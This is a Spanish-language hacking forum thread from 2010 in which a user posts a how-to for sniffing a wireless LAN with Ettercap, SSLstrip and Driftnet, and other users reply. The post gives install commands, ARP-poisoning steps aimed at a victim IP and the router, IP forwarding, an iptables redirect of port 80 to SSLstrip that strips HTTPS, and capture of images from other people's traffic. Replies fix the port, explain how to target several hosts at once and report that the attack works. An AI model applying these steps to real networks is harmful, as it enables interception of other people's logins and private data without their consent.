elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:12  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderadores: kamsky, TRICKY, berz3k)
| | | |-+  HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)  (Leído 19,663 veces)
mrfloffy

Desconectado Desconectado

Mensajes: 9


Ver Perfil
HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« en: 6 Enero 2010, 23:35 »

HOW TO: SNIFFING EN LINUX (ETTERCAP+SSLSTRIP+DRIFTNET)

INTRODUCIÓN

Con este manual se pretende mostrar el funcionamiento de tres herramientas básicas de sniffing en el entorno linux.

- Ettercap:es un interceptor/sniffer/registrador para LANs con switch. Descargar Aquí (NG-0.7.3)

- SSLStrip:una herramienta que automatiza el ataque sobre la conexión SSL. Descargar Aquí (0.7)

- Driftnet:programa que escucha el tráfico de red y elige imágenes de flujos TCP que observa.Descargar Aquí (0.1.6)

INSTALACIÓN DE HERRAMIENTAS


ETTERCAP

Modo 1 (Recomendado):

Código:
wget http://downloads.sourceforge.net/project/ettercap/ettercap/NG-0.7.3/ettercap-NG-0.7.3.tar.gz?use_mirror=heanet
tar zxvf ettercap-NG-0.7.3.tar.gz
cd ettercap-NG-0.7.3/
./configure
make clean
make
make install

Modo 2:

Código:
sudo apt-get install ettercap

SSLSTRIP

Modo 1 (Recomendado):

Código:
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
tar zxvf sslstrip-0.7.tar.gz
cp -R sslstrip-0.7 /usr/bin/

DRIFTNET

Modo 1 (NO Recomendado):

Código:
wget http://www.ex-parrot.com/~chris/driftnet/driftnet-0.1.6.tar.gz
tar zxvf driftnet-0.1.6.tar.gz
cd driftnet-0.1.6
make
make install                        

Modo 2  (Recomendado):

Código:
apt-get install driftnet

EMPEZAMOS A USAR LAS HERRAMIENTAS

Bueno en este manual vamos hacer un supuesto de sniffing en una red inalámbrica (En este caso la mia xD)

Empecemos....

Parte 1 [Uso de Ettercap]

Uso General (Análisis de Tráfico)
Código:
1.Vamos a una shell
2. Ejecutamos el Ettercap : sudo ettercap -C
3.Sniff/Unified sniffing...(Imagen 1.1)
4.Escribimos el nombre de la interfaz en este caso wlan0 (para saber cual es iwconfig) i enter
5.Hosts/Scan for Hosts (Algunas veces se corta, volver a intentarlo y ya está)
6.Hosts/Host List
7.Seleccionamos el ip que nos interesa y pulsamos 1 y luego seleccionamos el router y pulsamos 2.
(El ip del router es normalmente 192.168.1.1 o 192.168.2.1)
8.Mitm/Arp Poisoning i escribimos "remote"(sin las ")
9.Start/Start Sniffing
10.View/View Connections
11.En este momento estaremos analizando el trafico de la red y en una ip concreta para analizar mas a fondo cada conexión solo hemos de pulsar enter encima, recordar que ahora el análisis no muestra contenido SSL.







Uso de Filtros

"PROXIMAMENTE"

Parte 2 [Uso de SSLSTRIP]

Código:
1.Accedemos a la carpeta del ssl strip, en nuestro caso (cd /usr/bin/sslstrip-0.7)
2.En la consola su y después echo "1" > /proc/sys/net/ipv4/ip_forward (Activar redirección de paquetes)
3.Después escribimos iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 44444 (Redireccionamos todo el tráfico del puerto 80 al puerto XXXX(44444)
4.Escribimos ls y luego CAT sslstrip.py (Gracias mokoMonster)
5.Esccribimos SUDO python sslstrip.py -l 44444 y ya estamos "capturando " contenido SSL

Parte 3 [Uso de Driftnet]

Código:
1.Escribimos en la consola sudo driftnet -i wlan0 (Donde wlan0 el nombre de la interfraz)
2.Para guardar una imagen pulsar encima


Próximamente actualizare el tema para que quede más detallado y añadiré algunas fotografías, para dudas o proposiciones (indebidas no gracias xD!) estaré encantado de recibirlas i también esperare actualizaciones

P.D=Arreglado lo del puerto xD


« Última modificación: 9 Enero 2010, 14:27 por mrfloffy » En línea
kamsky
Moderador
***
Desconectado Desconectado

Mensajes: 2.203


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: HOW TO: SNIFFING EN LINUX (ETTERCAP+SSLSTRIP+DRIFTNET)
« Respuesta #1 en: 6 Enero 2010, 23:42 »

Buen aporte gracias

p.d.: pon el título en minúscula (menos lo How To) y deja algún salto de linea para no tener que hacer scroll lateral ;)


En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #2 en: 7 Enero 2010, 06:24 »


Que tal.

Esperamos mas aportes mrfloffy :)

Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
rockernault


Desconectado Desconectado

Mensajes: 2.045


Linux User!!!


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #3 en: 7 Enero 2010, 13:18 »

me interesa sobre todo lo de SSL Strip, que no le he podido hacer funcionar... y que aun sigo atorado porque me han quitado mi computadora....


saludos y gracias por el aporte, se ve interesante... 
En línea




chatarrero

Desconectado Desconectado

Mensajes: 148



Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #4 en: 7 Enero 2010, 14:29 »

Muy buen tutorial, probare el drifnet que el ettercap y sslstrip ya los tengo funcionando.

Saludos
En línea
jorgebr

Desconectado Desconectado

Mensajes: 52



Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #5 en: 8 Enero 2010, 18:05 »

Muy bueno el manual, tengo que probar ese Driftnet aver como va.

Por cierto, creo que hay un fallo en la orden de redirigir el puerto 80 al 44444, deberian redirigirse al puerto 10000 (que es el puerto de escucha por defecto de sslstrip), o indicarle a sslstrip que escuche en el 44444.

saludos! :)

Edito: una pregunta. ¿Se podría en ettercap indicar más de una ip victima a la vez, por ejemplo 5 ip's, y hacerlo de manera "multiple"?¿sería viable?.
Ya que no dispongo de 3 pc's para probarlo me gustaria saberlo.
« Última modificación: 8 Enero 2010, 18:10 por jorgebr » En línea

Knowledge is power !!!
mordisquitos1980

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #6 en: 9 Enero 2010, 00:00 »

saludos foro,,ettercap en wifiway no me deja ir mas alla de la consola,,tipeo ettercap -C y al pinchar sniff me vuelve a la consola anterior y aparece:

Ooops ! This shouldn't happen...
Segmentation Fault...

Please recompile in debug mode, reproduce the bug and send a bugreport

no esta soportado por el tan querido wifiway??
En línea
mokoMonster

Desconectado Desconectado

Mensajes: 295


<? ...


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #7 en: 9 Enero 2010, 00:19 »

Hay un error en:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 44444
debe hacerse como root y para iptables seria "iptables --t"

Código:
sudo iptables --t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 44444

Modifico: Hay tambien otro error en la ultima linea del Paso 2:

Código:
bsdkiller@bsdkiller:/usr/bin/sslstrip-0.7$ sudo python sslstrip -l 10000
/usr/bin/python: can't find '__main__.py' in 'sslstrip'
SOLUCION: Solamente es necesario hacer un "ls" dentro de la carpeta de SSLstrip (Gracias, Braulio) y despues un "CAT sslstrip.py" para que se lea el archivo y despues volver a ejecutar "sudo python sslstrip -l 10000"
Código:
bsdkiller@bsdkiller:/usr/bin/sslstrip-0.7$ sudo python sslstrip.py -l 10000

sslstrip 0.6 by Moxie Marlinspike running...

Y hay otro error con Driftnet:

Código:
bsdkiller@bsdkiller:~$ sudo driftnet -i eth1
[sudo] password for bsdkiller:
libpng error: Invalid image width (skipping image).
driftnet: driftnet-4b47c2f274b0dc51.png: bogus image (err = 4)
libpng error: Invalid image width (skipping image).
driftnet: driftnet-4b47c2f2238e1f29.png: bogus image (err = 4)
libpng error: Invalid image width (skipping image).
driftnet: driftnet-4b47c304519b500d.png: bogus image (err = 4)
libpng error: Invalid image width (skipping image).
driftnet: driftnet-4b47c30a257130a3.png: bogus image (err = 4)

Por cierto, creo que hay un fallo en la orden de redirigir el puerto 80 al 44444, deberian redirigirse al puerto 10000 (que es el puerto de escucha por defecto de sslstrip), o indicarle a sslstrip que escuche en el 44444.
Edito: una pregunta. ¿Se podría en ettercap indicar más de una ip victima a la vez, por ejemplo 5 ip's, y hacerlo de manera "multiple"?¿sería viable?.
Ya que no dispongo de 3 pc's para probarlo me gustaria saberlo.

Me gustaria que el autor diera mas informacion acerca de la cita que hago de jorgebr.

Y jorgebr, yo tengo mas de 5 :D Asi que lo puedo probar por tu, que dices? nos unimos ?
« Última modificación: 9 Enero 2010, 01:00 por mokoMonster » En línea

"Se necesitaron unos instantes para cortarle la cabeza, pero se necesitara un siglo para producir otra igual."
Lagrange
jorgebr

Desconectado Desconectado

Mensajes: 52



Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #8 en: 9 Enero 2010, 14:26 »

Me gustaria que el autor diera mas informacion acerca de la cita que hago de jorgebr.

Y jorgebr, yo tengo mas de 5 :D Asi que lo puedo probar por tu, que dices? nos unimos ?

Hola mokoMonster!, pues sí, me uno a que nos aclaren si es posible hacer eso que digo, y de serlo estaría bien que lo probaras, tengo curiosidad. Yo supongo que sí se podrá hacer.

Saludos
En línea

Knowledge is power !!!
mrfloffy

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #9 en: 9 Enero 2010, 14:29 »

Edito: una pregunta. ¿Se podría en ettercap indicar más de una ip victima a la vez, por ejemplo 5 ip's, y hacerlo de manera "multiple"?¿sería viable?.
Ya que no dispongo de 3 pc's para probarlo me gustaria saberlo.

Para sniffear mas de un host simplemente hay que omitir el paso 7 "No hace falta seleccionar el ip en host list"
En línea
jorgebr

Desconectado Desconectado

Mensajes: 52



Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #10 en: 9 Enero 2010, 14:40 »

Para sniffear mas de un host simplemente hay que omitir el paso 7 "No hace falta seleccionar el ip en host list"

Gracias por la info mrfloffy, entonces si seria posible hacerlo.

Y por ejemplo,supongo que si hubiese 10 pc's y queremos seleccionar 5 pc's, se podrían añadir todas las ip's que nos interesan, y luego la del router.
Con el caín recuerdo que se podia hacer, pero leí que al añadir muchos hosts se podia quedar colgado.

saludos, y mokoMonster, si te animas a probarlo, comentanos que tal ;)
En línea

Knowledge is power !!!
__zeros__

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet) PROBLEMA ETTERCAP
« Respuesta #11 en: 6 Marzo 2010, 17:25 »

Hola a tod@s,

A ver os comento tengo un problemilla, a ver si podeis echarme una mano.

Cuando ejecuto el Ettercap, despues de buscar y seleccionar los hosts, voy a Mitm selecciono el arp poisoning, y me mata todas las conexiones de los hosts. Vamos que el pc pierde el acceso a Internet.
¿Es esto normal?

Gracias por adelantado
En línea
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.940


Actualizate o muere!


Ver Perfil WWW
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #12 en: 6 Marzo 2010, 17:29 »

una cosa, con ssl trip puedo modificar cosas que esten bajo ssl? como los paquetes de red protegidos u otros?

Hasta que punto es efectivo?

Saludos
« Última modificación: 17 Marzo 2011, 20:11 por Debci » En línea

kamsky
Moderador
***
Desconectado Desconectado

Mensajes: 2.203


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #13 en: 6 Marzo 2010, 19:34 »

Con sslstrip lo unico que haces es pasar de una sesion segura a una que no lo es
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Goshin

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: HOW TO: Sniffing en Linux (Ettercap+SSLstrip+Driftnet)
« Respuesta #14 en: 7 Marzo 2010, 18:40 »

Un saludo el Manual esta muy bien me ha gustado mucho y funciona perfectamente. Cambie el puerto por el 10000. gracias de nuevo es muy interesante ya colgare alguna captura si quereis xD.
Nos vemos
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema para instalar Driftnet
GNU/Linux
capon 1 1,196 Último mensaje 10 Septiembre 2006, 18:05
por capon
Ettercap+Sslstrip « 1 2 »
Hacking Linux/Unix
Goshin 17 7,667 Último mensaje 25 Septiembre 2010, 21:45
por PyrOS-9889
Scrip para Sniffear pass y datos sobre lan/wlan con ettercap, sslstrip, urlsnarf
Hacking Básico
r00ty 0 2,531 Último mensaje 1 Diciembre 2010, 06:31
por r00ty
ayuda ettercap+sslstrip
Hacking Básico
wampis 3 2,054 Último mensaje 22 Septiembre 2011, 10:17
por ChimoC
MOVIDO: ayuda ettercap+sslstrip
Hacking Wireless
ChimoC 0 135 Último mensaje 22 Septiembre 2011, 10:18
por ChimoC
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines